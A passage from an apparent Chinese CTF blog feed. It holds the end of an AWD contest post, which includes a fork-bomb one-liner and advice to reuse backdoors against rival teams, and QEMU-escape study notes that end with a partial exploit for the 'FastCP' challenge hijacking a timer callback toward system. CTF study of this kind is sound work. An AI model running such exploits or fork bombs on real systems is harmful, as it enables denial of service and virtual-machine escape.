xx//卸载可疑模块</code></pre><p>ps:赛中赛后分析后门,利用该后门攻击其他队伍。</p><h3 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h3><p>一般主办方会给每个队提供连内网的网线,所以电脑得有网口或者自备转接线/拓展坞。网线最好也自备两根。</p><p>禁术-fork炸弹,死循环fork新进程迅速耗尽对方资源,使对方服务器下线,过不了checker,全场得分。</p><pre><code>:(){ :|: & };:</code></pre><p>禁术-DOS,使对方服务下线,一般不允许。</p><h3 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h3><p>从去年到现在,跟战队一起打了许多线下赛,重庆的钓鱼城杯,郑州的强网杯线下,武汉的国赛决赛,长沙的湖湘杯,上海大学生赛,北京的ByteCTF决赛和wctf决赛,比赛的经验积累了许多,回忆也积累了许多,印象最深的就是上海赛了,就我一个pwn手最后还拿了全场第一,还被请上台发言,当时觉得自己简直太牛了;后来wctf又被爆锤,一个题没做出来,虽然我也明白wctf的题和上海赛的题根本不是一个水平的;湖湘杯也是扑街,因为去了才知道赛制是先把web通关了才能玩pwn。还记得一起买茶颜悦色喝,确实好喝,一起吃的火锅和地方特色菜,确实不错。over。</p>]]></content>
<tags>
<tag> AWD </tag>
</tags>
</entry>
<entry>
<title>Qemu逃逸学习记录</title>
<link href="qemu-escape/"/>
<url>qemu-escape/</url>
<content type="html"><![CDATA[<p><img src="/images/ashim-d-silva-WeYamle9fDM-unsplash.jpg" alt="cover"></p><p>一篇学习笔记,大部分基础知识是摘抄加一点自己的理解。</p><h3 id="PCI设备地址空间"><a href="#PCI设备地址空间" class="headerlink" title="PCI设备地址空间"></a>PCI设备地址空间</h3><p>PCI设备都有一个配置空间(PCI Configuration Space),其记录了关于此设备的详细信息。大小为256字节,其中头部64字节是PCI标准规定的,当然并非所有的项都必须填充,位置是固定了,没有用到可以填充0。前16个字节的格式是一定的,包含头部的类型、设备的总类、设备的性质以及制造商等,格式如下:</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20211207235924.png"></p><p>比较关键的是其6个BAR(Base Address Registers),一个占4字节,共24字节,BAR记录了设备所需要的地址空间的类型,基址以及其他属性。BAR的格式如下:</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20211208000106.png"></p><p>设备可以申请两类地址空间,memory space和I/O space,它们用BAR的最后一位区别开来。</p><p>当BAR最后一位为0表示这是映射的memory space,为1是表示这是I/O space。</p><p>memory space:bit 1-2表示内存的类型,bit 2为1表示采用64位地址,为0表示采用32位地址;bit1为1表示区间大小超过1M,为0表示不超过1M。bit3表示是否支持可预取。</p><p>I/O space:一般不支持预取,所以这里是29位的地址。</p><p>通过memory space访问设备I/O的方式称为memory mapped I/O,即MMIO,这种情况下,CPU直接使用普通访存指令即可访问设备I/O。</p><p>通过I/O space访问设备I/O的方式称为port I/O,或者port mapped I/O,这种情况下CPU需要使用专门的I/O指令如IN/OUT访问I/O端口。</p><p>关于MMIO和PMIO,维基百科的描述是:</p><blockquote><p>Memory-mapped I/O (MMIO) and port-mapped I/O (PMIO) (which is also called isolated I/O) are two complementary methods of performing input/output (I/O) between the central processing unit (CPU) and peripheral devices in a computer. An alternative approach is using dedicated I/O processors, commonly known as channels on mainframe computers, which execute their own instructions.</p></blockquote><p>在MMIO中,内存和I/O设备共享同一个地址空间。 MMIO是应用得最为广泛的一种I/O方法,它使用相同的地址总线来处理内存和I/O设备,I/O设备的内存和寄存器被映射到与之相关联的地址。当CPU访问某个内存地址时,它可能是物理内存,也可以是某个I/O设备的内存,用于访问内存的CPU指令也可来访问I/O设备。每个I/O设备监视CPU的地址总线,一旦CPU访问分配给它的地址,它就做出响应,将数据总线连接到需要访问的设备硬件寄存器。为了容纳I/O设备,CPU必须预留给I/O一个地址区域,该地址区域不能给物理内存使用。</p><p>在PMIO中,内存和I/O设备有各自的地址空间。 端口映射I/O通常使用一种特殊的CPU指令,专门执行I/O操作。在Intel的微处理器中,使用的指令是IN和OUT。这些指令可以读/写1,2,4个字节(例如:outb, outw, outl)到IO设备上。I/O设备有一个与内存不同的地址空间,为了实现地址空间的隔离,要么在CPU物理接口上增加一个I/O引脚,要么增加一条专用的I/O总线。由于I/O地址空间与内存地址空间是隔离的,所以有时将PMIO称为被隔离的IO(Isolated I/O)。</p><p><code>lspci</code>命令用于显示当前主机的所有PCI总线信息,以及所有已连接的PCI设备信息。pci设备的寻址是由总线、设备以及功能构成。如下所示,xx:yy:z的格式为总线:设备:功能的格式。</p><pre><code>ubuntu@ubuntu:~$ lspci00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)</code></pre><p>其中00表示pci的域, PCI域最多可以承载256条总线(0xff)。 每条总线最多可以有32个设备,每个设备最多可以有8个功能。</p><p>PCI 设备通过VendorIDs、DeviceIDs、以及Class Codes字段区分:</p><pre><code>ubuntu@ubuntu:~$ lspci -v -m -n -s 00:03.0Device: 00:03.0Class: 00ffVendor: 1234Device: 11e9SVendor: 1af4SDevice: 1100PhySlot: 3Rev: 10ubuntu@ubuntu:~$ lspci -v -m -s 00:03.0Device: 00:03.0Class: Unclassified device [00ff]Vendor: Vendor 1234Device: Device 11e9SVendor: Red Hat, IncSDevice: Device 1100PhySlot: 3Rev: 10</code></pre><p>也可通过查看其config文件来查看设备的配置空间,数据都可以匹配上,如前两个字节1234为vendor id:</p><pre><code>ubuntu@ubuntu:~$ hexdump /sys/devices/pci0000\:00/0000\:00\:03.0/config0000000 1234 11e9 0103 0000 0010 00ff 0000 00000000010 1000 febf c051 0000 0000 0000 0000 00000000020 0000 0000 0000 0000 0000 0000 1af4 11000000030 0000 0000 0000 0000 0000 0000 0000 0000</code></pre><p>查看设备内存空间:</p><pre><code>ubuntu@ubuntu:~$ lspci -v -s 00:03.0 -x00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10) Subsystem: Red Hat, Inc Device 1100 Physical Slot: 3 Flags: fast devsel Memory at febf1000 (32-bit, non-prefetchable) [size=256] I/O ports at c050 [size=8]00: 34 12 e9 11 03 01 00 00 10 00 ff 00 00 00 00 0010: 00 10 bf fe 51 c0 00 00 00 00 00 00 00 00 00 0020: 00 00 00 00 00 00 00 00 00 00 00 00 f4 1a 00 1130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</code></pre><p>可以看到该设备有两个空间:BAR0为MMIO空间,地址为febf1000,大小为256;BAR1为PMIO空间,端口地址为0xc050,大小为8。</p><p>可以通过查看resource文件来查看其相应的内存空间:</p><pre><code>ubuntu@ubuntu:~$ ls -la /sys/devices/pci0000\:00/0000\:00\:03.0/...-r--r--r-- 1 root root 4096 Aug 1 03:40 resource-rw------- 1 root root 256 Jul 31 13:18 resource0-rw------- 1 root root 8 Aug 1 04:01 resource1...</code></pre><p>resource文件包含其它相应空间的数据,如resource0(MMIO空间)以及resource1(PMIO空间):</p><pre><code>ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource0x00000000febf1000 0x00000000febf10ff 0x00000000000402000x000000000000c050 0x000000000000c057 0x00000000000401010x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x0000000000000000</code></pre><p>每行分别表示相应空间的起始地址(start-address)、结束地址(end-address)以及标识位(flags)。</p><h3 id="qemu-地址转换-写exp用"><a href="#qemu-地址转换-写exp用" class="headerlink" title="qemu 地址转换 # 写exp用"></a>qemu 地址转换 # 写exp用</h3><p>qemu-kvm架构里,kvm负责cpu和内存的虚拟化,qemu负责io的虚拟化,因此地址转换是由qemu维护的,提供给kvm管理接口。</p><p>四种地址:</p><p>GVA (Guest Virtual Address) Guest虚拟地址</p><p>GPA (Guest Physical Address) Guest物理地址</p><p>HVA (Host Virtual Address) Host虚拟地址</p><p>HPA (Host Physical Address) Host物理地址</p><pre><code> Guest' processes +--------------------+Virtual addr space | | +--------------------+ (GVA) | | \__ Page Table \__ \ \ | | Guest kernel +----+--------------------+----------------+Guest's phy. memory | | | | (GPA) +----+--------------------+----------------+ | | \__ \__ \ \ | QEMU process | +----+------------------------------------------+Virtual addr space | | | (HVA) +----+------------------------------------------+ | | \__ Page Table \__ \ \ | | +----+-----------------------------------------------++Physical memory | | || (HPA) +----+-----------------------------------------------++</code></pre><p>GVA->GPA:可以通过查guest的页表,再计算得到,在linux里一个进程的页表在<code>/proc/self/pagemap</code>,代码如下:</p><p>GPA->HVA:guest的物理空间实际是由宿主机进程mmap出来的空间,所以GPA可以在泄露host地址后算得,hva=hva_base+GPA,不过一般这个地址在写exp中作用不大。</p><pre><code>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/io.h>#include <sys/mman.h>#include <sys/types.h>#include <fcntl.h>#include <assert.h>#include <time.h>#include <inttypes.h>// convert virtual address to physical address#define PAGE_SHIFT 12#define PAGE_SIZE (1 << PAGE_SHIFT)#define PAGE_MASK (PAGE_SIZE - 1)#define PFN_PRESENT (1ull << 63)#define PFN_PFN ((1ull << 55) - 1)uint64_t gva2gpa(uint64_t gva){ uint64_t pme, gpa, gfn; size_t offset; int fd = open("/proc/self/pagemap", O_RDONLY); if (fd < 0) { perror("[gva2gpa] open pagemap failed"); exit(-1); } offset = ((uint64_t)gva / PAGE_SIZE) * 8; if (lseek(fd, offset, SEEK_SET) == -1) { perror("[gva2gpa] lseek failed"); exit(-1); } if (read(fd, &pme, 8) != 8) { perror("[gva2gpa] read from pagemap failed"); exit(-1); } close(fd); if (!(pme & PFN_PRESENT)) return (uint64_t)-1; gfn = (pme & PFN_PFN); gpa = (uint64_t)(gfn << PAGE_SHIFT); gpa |= (gva & PAGE_MASK); return gpa;}int main(int argc, char *argv[]){ uint8_t *a = malloc(0x400); int q1iq; uint64_t pysical_a = gva2gpa(a); printf("%llx gva_to_gpa %llx\n", a, pysical_a); *(uint64_t*)&a[0]=(uint64_t)(0xffffffffffffffff); *(uint64_t*)&a[8]=(uint64_t)(0xcccccccccccccccc); scanf("%d",&q1iq); return 0;}</code></pre><p>启动qemu时内存选项<code>-m 256M </code>,256M是0x10000000,在vmmap里搜索10000000找到hva的基址。</p><pre><code>#!/bin/shgdb -args \./qemu-system-x86_64 \-m 256M \-kernel bzImage \-hda rootfs.img \-append "console=ttyS0 quiet root=/dev/sda rw init=/init oops=panic panic=1 panic_on_warn=1 kaslr" \-monitor /dev/null \-smp cores=1,threads=1 \-cpu kvm64,+smep,+smap \-L pc-bios \-device hfdev \-no-reboot \-snapshot \-nographic </code></pre><p><img src="/img/image-20220601012136734.png" alt="jiij"></p><p>hva的基址加gpa得到hpa。</p><p><img src="/img/image-20220601012054790.png" alt="image-20220601012054790"></p><p><img src="/img/image-20220601012250761.png" alt="image-20220601012250761"></p><h3 id="qemu中访问I-O空间-写exp的时候用"><a href="#qemu中访问I-O空间-写exp的时候用" class="headerlink" title="qemu中访问I/O空间 #写exp的时候用"></a>qemu中访问I/O空间 #写exp的时候用</h3><p>存在mmio与pmio,那么在系统中该如何访问这两个空间呢?访问mmio与pmio都可以采用在内核态访问或在用户空间编程进行访问。</p><h4 id="访问mmio"><a href="#访问mmio" class="headerlink" title="访问mmio"></a>访问mmio</h4><p>方法1:编译内核模块,在内核态访问mmio空间,示例代码如下:</p><pre><code>#include <asm/io.h>#include <linux/ioport.h>long addr=ioremap(ioaddr,iomemsize);readb(addr);readw(addr);readl(addr);readq(addr);//qwords=8 btyeswriteb(val,addr);writew(val,addr);writel(val,addr);writeq(val,addr);iounmap(addr);</code></pre><p>方法2(常用):在用户态访问mmio空间,通过映射resource0文件实现内存的访问,示例代码如下:</p><pre><code class="c">#include <assert.h>#include <fcntl.h>#include <inttypes.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/mman.h>#include <sys/types.h>#include <unistd.h>#include <sys/io.h>unsigned char *mmio_mem;void die(const char *msg){ perror(msg); exit(-1);}//uint32_t or uint64_t void mmio_write(uint32_t addr, uint32_t value){ *((uint32_t *)(mmio_mem + addr)) = value;}uint32_t mmio_read(uint32_t addr){ return *((uint32_t *)(mmio_mem + addr));}int main(int argc, char *argv[]){ // Open and map I/O memory for the strng device int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC); if (mmio_fd == -1) die("mmio_fd open failed"); mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); if (mmio_mem == MAP_FAILED) die("mmap mmio_mem failed"); printf("mmio_mem @ %p\n", mmio_mem); mmio_read(0x128); mmio_write(0x128, 1337);}</code></pre><h4 id="访问pmio"><a href="#访问pmio" class="headerlink" title="访问pmio"></a>访问pmio</h4><p>方法1:编译内核模块,在内核空间访问pmio空间,示例代码如下:</p><pre><code>#include <asm/io.h> #include <linux/ioport.h>inb(port); //读取一字节inw(port); //读取两字节inl(port); //读取四字节outb(val,port); //写一字节outw(val,port); //写两字节outl(val,port); //写四字节</code></pre><p>方法2(常用):用户空间访问则需要先调用iopl函数申请访问端口,示例代码如下:(b,w,l分别代表8,16,32)</p><pre><code>#include <sys/io.h>// lspci -v => I/O ports// or cat /proc/ioports uint16_t port_base = 0xc040;void pmio_write(uint16_t addr, uint16_t value){ outw(value,port_base+addr);}uint32_t pmio_read(uint16_t addr){ return (uint32_t)inw(port_base+addr);}int main(int argc, char *argv[]){ if (iopl(3) !=0 ) puts("I/O permission is not enough"); //read inb(port); inw(port); inl(port); //write outb(val,port); outw(val,port); outl(val,port);}</code></pre><p>ps:位数的选择通过找mmio/pmio实现的MemoryRegionOps结构体,查看access_size,max_access_size是8字节就对应uint64_t。</p><p><img src="/img/image-20220601030123096.png" alt="image-20220601030123096"></p><p>无符号就瞎猜了,min_access_size一般是0,后面的一般就是max_access_size了。比如hfdev的这道题就是2字节pmio对应inw。不过即使位数不够准确exp也是可以完成的。</p><p><img src="/img/image-20220601034730507.png" alt="image-20220601034730507"></p><h3 id="QOM编程模型-逆向的时候用"><a href="#QOM编程模型-逆向的时候用" class="headerlink" title="QOM编程模型 #逆向的时候用"></a>QOM编程模型 #逆向的时候用</h3><p>一般qemu的题目都是这么出的:通过QOM对象来实现一个PCI设备,实现其相应的PMIO以及MMIO等。</p><p>QEMU提供了一套面向对象编程的模型——QOM(QEMU Object Module),几乎所有的设备如CPU、内存、总线等都是利用这一面向对象的模型来实现的。</p><p>由于qemu模拟设备以及CPU等,既有相应的共性又有自己的特性,因此使用面向对象来实现相应的程序是非常高效的,可以像理解C++或其它面向对象语言来理解QOM。</p><p>有几个比较关键的结构体,TypeInfo、TypeImpl、ObjectClass以及Object。其中ObjectClass、Object、TypeInfo定义在include/qom/object.h中,TypeImpl定义在qom/object.c中。</p><p>TypeInfo是用户用来定义一个Type的数据结构,用户定义了一个TypeInfo,然后调用type_register(TypeInfo )或者type_register_static(TypeInfo )函数,就会生成相应的TypeImpl实例,将这个TypeInfo注册到全局的TypeImpl的hash表中。</p><pre><code>struct TypeInfo{ const char *name; const char *parent; //父类 size_t instance_size; size_t instance_align; void (*instance_init)(Object *obj); //实例初始化函数 void (*instance_post_init)(Object *obj); void (*instance_finalize)(Object *obj); //实例“析构”函数 bool abstract; //是否为抽象类 size_t class_size; //类大小,官方文档中提出.class_size字段设置为sizeof(MyClass) void (*class_init)(ObjectClass *klass, void *data); //在所有父类被初始化完成后调用的子类初始化函数,可用于override virtual methods void (*class_base_init)(ObjectClass *klass, void *data); void *class_data; InterfaceInfo *interfaces; //封装了const char *type;};</code></pre><p>TypeImpl的属性与TypeInfo的属性对应,实际上qemu就是通过用户提供的TypeInfo创建的TypeImpl的对象。</p><p>如下面定义的pci_test_dev:</p><pre><code>static const TypeInfo pci_testdev_info = { .name = TYPE_PCI_TEST_DEV, .parent = TYPE_PCI_DEVICE, .instance_size = sizeof(PCITestDevState), .class_init = pci_testdev_class_init,};TypeImpl *type_register_static(const TypeInfo *info){ return type_register(info);}TypeImpl *type_register(const TypeInfo *info){ assert(info->parent); return type_register_internal(info);}static TypeImpl *type_register_internal(const TypeInfo *info){ TypeImpl *ti; ti = type_new(info); //根据info信息,创建一个TypeImpl对象 type_table_add(ti); //将新建的TypeImpl对象注册到全局哈希表 type_table 中 return ti;}</code></pre><p>当所有qemu总线、设备等的type_register_static执行完成后,就会注册TypeImpl到全局哈希表 type_table 中。</p><pre><code>struct TypeImpl{ const char *name; size_t class_size; size_t instance_size; size_t instance_align; void (*class_init)(ObjectClass *klass, void *data); void (*class_base_init)(ObjectClass *klass, void *data); void *class_data; void (*instance_init)(Object *obj); void (*instance_post_init)(Object *obj); void (*instance_finalize)(Object *obj); bool abstract; const char *parent; TypeImpl *parent_type; ObjectClass *class; //指向 ObjectClass 的指针 int num_interfaces; InterfaceImpl interfaces[MAX_INTERFACES];};</code></pre><p>当它们的TypeImpl实例创建成功后,qemu就会在type_initialize函数中去实例化其对应的ObjectClasses。每个type都有一个相应的ObjectClass所对应,其中ObjectClass是所有类的基类。</p><pre><code>struct ObjectClass{ /*< private >*/ Type type; GSList *interfaces; const char *object_cast_cache[OBJECT_CLASS_CAST_CACHE]; const char *class_cast_cache[OBJECT_CLASS_CAST_CACHE]; ObjectUnparent *unparent; GHashTable *properties;};</code></pre><p>用户可以定义自己的类,继承相应类即可:</p><pre><code>/* include/qom/object.h */typedef struct TypeImpl *Type;typedef struct ObjectClass ObjectClass;struct ObjectClass{ /*< private >*/ Type type; /* points to the current Type's instance */ .../* include/hw/qdev-core.h */typedef struct DeviceClass { /*< private >*/ ObjectClass parent_class; /*< public >*/ .../* include/hw/pci/pci.h */typedef struct PCIDeviceClass { DeviceClass parent_class; ...</code></pre><p>可以看到类的定义中父类都在第一个字段,使得可以父类与子类直接实现转换。一个类初始化时会先初始化它的父类,父类初始化完成后,会将相应的字段拷贝至子类同时将子类其余字段赋值为0,再进一步赋值。同时也会继承父类相应的虚函数指针,当所有的父类都初始化结束后,TypeInfo::class_init就会调用以实现虚函数的初始化,如下例的pci_testdev_class_init所示:</p><pre><code>static void pci_testdev_class_init(ObjectClass *klass, void *data){ DeviceClass *dc = DEVICE_CLASS(klass); PCIDeviceClass *k = PCI_DEVICE_CLASS(klass); k->init = pci_testdev_init; k->exit = pci_testdev_uninit; ... dc->desc = "PCI Test Device"; ...}</code></pre><p>最后一个是Object对象:</p><pre><code>struct Object{ /*< private >*/ ObjectClass *class; ObjectFree *free; GHashTable *properties; uint32_t ref; Object *parent;};</code></pre><p>Object对象为何物?Type以及ObjectClass只是一个类型,而不是具体的设备。TypeInfo结构体中有两个函数指针:instance_init以及class_init。class_init是负责初始化ObjectClass结构体的,instance_init则是负责初始化具体Object结构体的。</p><p>the Object constructor and destructor functions (registered by the respective Objectclass constructors) will now only get called if the corresponding PCI device’s -device option was specified on the QEMU command line (unless, probably, it is a default PCI device for the machine). </p><p>Object类的构造函数与析构函数(在Objectclass构造函数中注册的)只有在命令中-device指定加载该设备后才会调用(或者它是该系统的默认加载PCI设备)。</p><p>Object示例如下所示:</p><pre><code>/* include/qom/object.h */typedef struct Object Object;struct Object{ /*< private >*/ ObjectClass *class; /* points to the Type's ObjectClass instance */ .../* include/qemu/typedefs.h */typedef struct DeviceState DeviceState;typedef struct PCIDevice PCIDevice;/* include/hw/qdev-core.h */struct DeviceState { /*< private >*/ Object parent_obj; /*< public >*/ .../* include/hw/pci/pci.h */struct PCIDevice { DeviceState qdev; ...struct YourDeviceState{ PCIDevice pdev; ...</code></pre><p>(QOM will use instace_size as the size to allocate a Device Object, and then it invokes the instance_init)<br>QOM会为设备Object分配instace_size大小的空间,然后调用instance_init函数(在Objectclass的class_init函数中定义):</p><pre><code>static int pci_testdev_init(PCIDevice *pci_dev){ PCITestDevState *d = PCI_TEST_DEV(pci_dev); ...</code></pre><p>最后便是PCI的内存空间了,qemu使用MemoryRegion来表示内存空间,在include/exec/memory.h中定义。使用MemoryRegionOps结构体来对内存的操作进行表示,如PMIO或MMIO。对每个PMIO或MMIO操作都需要相应的MemoryRegionOps结构体,该结构体包含相应的read/write回调函数。</p><pre><code>static const MemoryRegionOps pci_testdev_mmio_ops = { .read = pci_testdev_read, .write = pci_testdev_mmio_write, .endianness = DEVICE_LITTLE_ENDIAN, .impl = { .min_access_size = 1, .max_access_size = 1, },};static const MemoryRegionOps pci_testdev_pio_ops = { .read = pci_testdev_read, .write = pci_testdev_pio_write, .endianness = DEVICE_LITTLE_ENDIAN, .impl = { .min_access_size = 1, .max_access_size = 1, },};</code></pre><p>首先使用memory_region_init_io函数初始化内存空间(MemoryRegion结构体),记录空间大小,注册相应的读写函数等;然后调用pci_register_bar来注册BAR等信息。需要指出的是无论是MMIO还是PMIO,其所对应的空间需要显示的指出(即静态声明或者是动态分配),因为memory_region_init_io只是记录空间大小而并不分配。</p><pre><code>/* hw/misc/pci-testdev.c */#define IOTEST_IOSIZE 128#define IOTEST_MEMSIZE 2048typedef struct PCITestDevState { /*< private >*/ PCIDevice parent_obj; /*< public >*/ MemoryRegion mmio; MemoryRegion portio; IOTest *tests; int current;} PCITestDevState;static int pci_testdev_init(PCIDevice *pci_dev){ PCITestDevState *d = PCI_TEST_DEV(pci_dev); ... memory_region_init_io(&d->mmio, OBJECT(d), &pci_testdev_mmio_ops, d, "pci-testdev-mmio", IOTEST_MEMSIZE * 2); memory_region_init_io(&d->portio, OBJECT(d), &pci_testdev_pio_ops, d, "pci-testdev-portio", IOTEST_IOSIZE * 2); pci_register_bar(pci_dev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &d->mmio); pci_register_bar(pci_dev, 1, PCI_BASE_ADDRESS_SPACE_IO, &d->portio);</code></pre><p>QOM实例可以看strng(<a href="https://github.com/rcvalle/blizzardctf2017/blob/master/strng.c)%E7%9A%84%E5%AE%9E%E7%8E%B0%E3%80%82">https://github.com/rcvalle/blizzardctf2017/blob/master/strng.c)的实现。</a></p><h3 id="qemu中的事件处理机制-timer"><a href="#qemu中的事件处理机制-timer" class="headerlink" title="qemu中的事件处理机制 timer"></a>qemu中的事件处理机制 timer</h3><p>timer是QEMU中的事件处理机制,我理解就是类似于定时器,在指定时间触发相应的事件。</p><p><a href="https://github.com/qemu/qemu/blob/master/util/qemu-timer.c#L356">timer_init_full</a>初始化timer,会在QEMUTimer->cb这里注册回调函数。这里以2022hufuctf-hfdev为例。</p><p><img src="/img/image-20220601031256664.png" alt="image-20220601031256664"></p><p><img src="/img/image-20220601031549505.png" alt="image-20220601031549505"></p><p>timer_mod将timer插入到定时器链表中,<code>timer_mod -> timer_mod_ns->timer_mod_ns_locked</code>,链表是根据expire_timer排序的,时间早(数字小)在前,时间晚在后(数字大)。</p><p><img src="/img/image-20220601031825761.png" alt="image-20220601031825761"></p><p><img src="/img/image-20220601031840670.png" alt="image-20220601031840670"></p><pre><code>static bool timer_mod_ns_locked(QEMUTimerList *timer_list, QEMUTimer *ts, int64_t expire_time){ QEMUTimer **pt, *t; /* add the timer in the sorted list */ /*当前活跃的定时器为到期时间最早的定时器*/ pt = &timer_list->active_timers; for (;;) { t = *pt; if (!timer_expired_ns(t, expire_time)) { /*若当前活跃的timer到期时间>新添加的这个定时器的时间*/ /*之后所有的定时器的到期时间都比新添加的定时器到期时间大 即新添加定时器到期时间最早,直接跳出for循环*/ break; } /*若当前活跃的timer到期时间<=新添加的这个定时器的时间*/ pt = &t->next; } /*在这个链表中所有的定时器到期时间都比ts的到期时间大*/ ts->expire_time = MAX(expire_time, 0); ts->next = *pt; atomic_set(pt, ts); return pt == &timer_list->active_timers;</code></pre><p>timerlist_run_timers会在时间到期时真正调用回调函数</p><p><img src="/img/image-20220601031959161.png" alt="image-20220601031959161"></p><p>[利用]一旦能伪造/覆写QEMUTimer,就可以控制调用流cb和参数opaque。</p><p>qemu_clock_get_ns获取当前时间,[这里时间有延迟,所以可以在回调函数真正触发之前做一些操作]</p><p><img src="/img/image-20220601032215832.png" alt="image-20220601032215832"></p><h3 id="2021hws入营赛-qemu逃逸-FastCP"><a href="#2021hws入营赛-qemu逃逸-FastCP" class="headerlink" title="[2021hws入营赛-qemu逃逸-FastCP]"></a>[2021hws入营赛-qemu逃逸-FastCP]</h3><p>mmio的write注册了timer,timer有写地址addr1任意长度功能和一个复制addr1到addr2任意长度功能,越界addr2 0x1000的地方有函数指针和这个函数的参数指针能直接劫持控制流,但是qemu内部的物理页大小是0x1000,写入超过0x1000的数据就会被隔断,因此分配到两个连续的物理页即可。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20210824104510.png"></p><p>write中有个timer,cmd=1的时候有越界读写,cmd=4的时候有越界读,其他的都在注释里了,然后就是常规的泄漏地址和system(“/bin/sh”)。</p><pre><code>#include <stdio.h>#include <stdlib.h>#include <sys/mman.h>#include <sys/types.h>#include <fcntl.h>#include <stdint.h>#include <assert.h>#include <string.h>#include <time.h>#define PAGE_SIZE 0x1000uint64_t base = 0;int pm = 0;int mmio_read(uint64_t addr){ return *((uint64_t *)(base + addr));}void mmio_write(uint64_t addr, uint64_t value){ *((uint64_t *)(base + addr)) = value;}uint32_t v2p(void *addr){ uint32_t index = (uint64_t)addr / PAGE_SIZE; lseek(pm, index * 8, SEEK_SET); uint64_t num = 0; read(pm, &num, 8); return ((num & (((uint64_t)1 << 55) - 1)) << 12) + (uint64_t)addr % PAGE_SIZE;}void bubble_sort(int arr[], int len){ int i, j, temp; for (i = 0; i < len - 1; i++) for (j = 0; j < len - 1 - i; j++) if (arr[j] > arr[j + 1]) { temp = arr[j]; arr[j] = arr[j + 1]; arr[j + 1] = temp; }}int main(){ //puts("[*]exploit exp1"); int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC); assert(fd != -1); base = (uint64_t)mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); assert(base != -1); pm = open("/proc/self/pagemap", O_RDONLY); assert(pm != -1); /* mmio_write(8,2) //opaque->cp_state.CP_list_src = val; mmio_write(16,1) //opaque->cp_state.CP_list_cnt = val; mmio_write(24,1)//opaque->cp_state.cmd = val; //timer read opaque->handling; // addr==0 opaque->cp_state.CP_list_src; // addr==8 opaque->cp_state.CP_list_cnt; // addr==16 opaque->cp_state.cmd; // addr==24 CP_src CP_cnt CP_dst cmd=2 / src -> buffer cmd=4 / buffer->dst*///get 2 neighbor page void *addr[] = {malloc(0x1000), malloc(0x1000), malloc(0x1000), malloc(0x1000), malloc(0x1000), malloc(0x1000)}; int len = (int)sizeof(addr) / sizeof(*addr); for (int i = 0; i < len; i++) { memset(addr[i], i, 0x1000); } int addrv2p[] = {v2p(addr[0]), v2p(addr[1]), v2p(addr[2]), v2p(addr[3]), v2p(addr[4]), v2p(addr[5])}; int addrv2p_sort[] = {v2p(addr[0]), v2p(addr[1]), v2p(addr[2]), v2p(addr[3]), v2p(addr[4]), v2p(addr[5])}; bubble_sort(addrv2p_sort, len); void *tmp1, *tmp2; for (int i = 0; i < len - 1; i++) { if ((addrv2p_sort[i + 1] - addrv2p_sort[i]) == 0x1000) { tmp1 = addrv2p_sort[i]; tmp2 = addrv2p_sort[i + 1]; break; } } if(tmp1 == NULL){ printf("[-]dont find neighbor page"); return 0; } void *buf1, *buf2; for (int i = 0; i < len; i++) { if (addrv2p[i] == tmp1) { buf1 = addr[i]; } if (addrv2p[i] == tmp2) { buf2 = addr[i]; } } // for (int i = 0; i < len; i++) // { // printf("%llx %llx\n", addr[i], v2p(addr[i])); // } // printf("%llx %llx\n", buf1, buf2); void *buf = malloc(0x1000); memset(buf, 0, 0x1000); mmio_write(16, 1); //CP_list_cnt = 1 *(uint64_t *)(buf) = (uint64_t)0; uint64_t read_numbers = 0x1500; *(uint64_t *)(buf + 8) = (uint64_t)(read_numbers); *(uint64_t *)(buf + 16) = (uint64_t)v2p(buf1); mmio_write(8, v2p(buf)); //CP_list_src = buf1 //-------------⬇ //printf("cmd:0x%llx\n", mmio_read(24)); // printf("buf1: "); // for (int i=0x0;i<0x1000;i+=8){ // printf("%llx ",*(uint64_t*)(buf1+i)); // } // printf("\n"); // printf("buf2: "); // for (int i=0x0;i<0x1000;i+=8){ // printf("%llx ",*(uint64_t*)(buf2+i)); // } // printf("\n"); //--------------- mmio_write(24, 4); //cmd = 4 buf1fer -> dst sleep(0.5); //-------------⬇ //printf("cmd:0x%llx\n", mmio_read(24)); // printf("buf1: "); // for (int i=0x0;i<0x1000;i+=8){ // printf("%llx ",*(uint64_t*)(buf1+i)); // } // printf("\n"); // printf("buf2: "); // for (int i=0x0;i<0x1000;i+=8){ // printf("%llx ",*(uint64_t*)(buf2+i)); // } // printf("\n"); uint64_t code_base = *(uint64_t *)(buf2 + 0x10) - 0x4dce80; uint64_t libc_base = *(uint64_t *)(buf2 + 0x258) - 0x3ebce0; uint64_t buffaddr = *(uint64_t *)(buf2 + 0x18)+0xa00; printf("[+]codebase:0x%llx\n[+]libcbase:0x%llx\n[+]buffaddr:0x%llx\n", code_base, libc_base,buffaddr); //0x10a38c 0x4f322 0x4f2c5 remote //local 0x4f3d5 0x4f432 0x10a41c *(uint64_t *)(buf2 + 0x10) =libc_base+0x4f550;//code_base+0x00005B5C15;// ////0x4f440;//;//code_base + 0x00005B5C15; *(uint64_t *)(buf2 